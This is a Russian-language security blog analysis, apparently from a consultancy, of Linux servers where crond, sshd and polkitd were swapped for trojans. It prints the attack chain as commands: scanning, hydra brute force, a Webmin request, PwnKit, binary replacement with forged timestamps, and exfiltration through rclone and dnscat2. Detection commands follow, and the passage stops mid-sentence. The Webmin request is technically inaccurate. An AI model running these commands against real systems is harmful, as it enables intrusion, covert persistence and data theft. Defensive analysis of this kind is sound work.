CIOlogia Безопасность бизнеса · не на словах, а с доказательствами
← Все разборы Информационная безопасность / Linux

Crond, sshd и polkitd оказались троянами: как Linux-сервер 4 месяца молча сливал данные конкурентам

Разбираем механику атаки, которая стоит за похожими кейсами: подмена системных демонов Linux, четыре месяца невидимости для антивируса и подрядчика, и то, что можно было увидеть уже на первой неделе — если бы кто-то проверял, а не верил отчётам.

Разбор CIOlogia

Сюжет из практики, о котором пойдёт речь — не редкость. Он совпадает по почерку с недавно описанной в отраслевых отчётах кампанией: злоумышленники подменяют критичные системные демоны Linux — crond, sshd, polkitd — на троянизированные копии. Внешне это те же процессы, с теми же именами, тем же PID-поведением, тем же местом в дереве процессов. Antivirus и штатный мониторинг подрядчика проверяют «есть ли процесс с таким именем и не грузит ли он CPU» — и оба чек-листа проходят зелёным.

Разберём техническую механику: как злоумышленник вообще попадает на такой сервер, почему подмена системных бинарников остаётся невидимой месяцами, и что нужно сделать, чтобы это не повторилось.

Как это эксплуатируется

1. Разведка периметра

Первый шаг атакующего — понять, что вообще торчит наружу. Обычное сканирование:

nmap -sV -p- --min-rate 5000 203.0.113.10

PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 7.4 (protocol 2.0)
80/tcp   open  http    nginx 1.14.0
3306/tcp open  mysql   MySQL 5.7.26-log
8080/tcp open  http    Zabbix Agent / Webmin admin panel

Здесь уже видны два интересных момента: устаревший OpenSSH 7.4 (2016 год, до патчей на username enumeration CVE-2018-15473) и открытая административная панель на 8080 — частый источник компрометации малого и среднего бизнеса, где такие панели ставили «для удобства» и забыли закрыть внешний доступ.

2. Первичный доступ

Дальше — либо брутфорс по SSH на слабых или переиспользуемых паролях, либо эксплуатация известной уязвимости в веб-панели администрирования.

hydra -l admin -P rockyou.txt ssh://203.0.113.10 -t 4

[22][ssh] host: 203.0.113.10   login: admin   password: Production2023!

Либо, если панель — Webmin версии до 1.920 (уязвимая к CVE-2019-15107), достаточно одного запроса без авторизации:

curl -k "https://203.0.113.10:10000/password_change.cgi" \
  -d "user=root&pam=&expired=2&old=&new1=root123&new2=root123"

3. Локальная эскалация привилегий

Получив shell от обычного пользователя, атакующий поднимается до root. Учитывая, что в этой истории трояном оказался именно polkitd, логично предположить именно эту цепочку: уязвимость PwnKit (CVE-2021-4034) в pkexec, которая позволяет получить root одной командой без пароля на непропатченных системах:

gcc -shared -o pwnkit.so pwnkit.c
./pwnkit_exploit

# uid=0(root) gid=0(root) groups=0(root)

Такие связки типичны для непропатченных серверов, которые «работают без нареканий» — то есть их годами не обновляют, потому что «зачем трогать то, что работает».

4. Закрепление: подмена системных демонов

Дальше начинается самое неприятное. Вместо установки отдельного «вируса», который легко ловится по сигнатуре, атакующий переписывает уже существующие, доверенные бинарники:

cp /usr/sbin/sshd /usr/sbin/sshd.orig
cp trojan_sshd /usr/sbin/sshd
chmod 755 /usr/sbin/sshd
touch -r /usr/sbin/sshd.orig /usr/sbin/sshd   # подделка времени изменения

cp /usr/sbin/crond /usr/sbin/crond.orig
cp trojan_crond /usr/sbin/crond

cp /usr/lib/polkit-1/polkitd /usr/lib/polkit-1/polkitd.orig
cp trojan_polkitd /usr/lib/polkit-1/polkitd

Троян-sshd открывает скрытый бэкдор-доступ по мастер-паролю или ключу поверх штатной аутентификации. Троян-crond используется как персистентность и точка запуска модулей эксфильтрации по расписанию — маскируясь под обычные системные задачи (планировщик всё равно должен что-то запускать, лишний cron-job внутри «системного» бинарника никто не проверяет). Троян-polkitd перехватывает и логирует всё, что вводит администратор при повышении привилегий — по сути, полноценный keylogger уровня системных вызовов.

5. Эксфильтрация

Данные уходят не разово, а маленькими порциями, чтобы не спровоцировать всплеск трафика:

# скрытая выгрузка через легитимный инструмент синхронизации
rclone copy /data/commercial_offers remote:backup --transfers=1 --bwlimit=200k

# альтернатива — DNS-туннель, если egress-фильтрация блокирует HTTP/HTTPS
dnscat2-client --dns server=8.8.8.8 --secret=xxxx

Именно поэтому в логах фаервола ничего аномального не видно: трафик мелкий, идёт по HTTPS или DNS, выглядит как фоновая синхронизация или служебные DNS-запросы.

Полутехнические пруфы: что искать в такой ситуации

  • Несовпадение контрольной суммы бинарника с эталонным пакетом — главный и самый надёжный индикатор:
    sha256sum /usr/sbin/sshd
    debsums -c openssh-server
    # или для RPM-based
    rpm -Va | grep '^..5'
  • Расхождение времени изменения файла и записи в пакетном менеджере:
    stat /usr/sbin/crond
    dpkg -L cron | xargs -I{} stat -c '%Y {}' {}
  • Скрытые сетевые соединения, не соответствующие штатному поведению демона:
    ss -tnp | grep sshd
    lsof -i -P -n | grep polkitd
  • Проверка руткитными сканерами (не заменяет сверку контрольных сумм, но полезна как второй слой):
    rkhunter --check --sk
    chkrootkit
  • Аномальные записи в auditd по execve от процессов, которые в норме не должны исполнять ничего постороннего.

Что и почему сработало бы дальше

Если бы аудит не остановил цепочку на этом этапе, у атакующего было ещё несколько логичных шагов эскалации:

  • Дамп базы CRM и файлового хранилища целикомmysqldump по расписанию через тот же поддельный crond, с последующей выгрузкой архивов наружу.
  • Сбор учётных данных для латерального перемещения — перехваченные polkitd-трояном пароли администратора почти наверняка совпадают с доступом к банк-клиенту, почте, VPN в головной офис или к другим серверам компании.
  • Продажа доступа — на теневых площадках компрометированный корпоративный сервер с рабочим бэкдором продаётся отдельно от украденных данных, то есть даже после «закрытия» инцидента доступ мог быть перепродан третьим лицам.
  • Долгосрочный шпионаж вместо разового слива — раз данные утекали по расписанию четыре месяца, ничего не мешало продолжать это годами, если бы не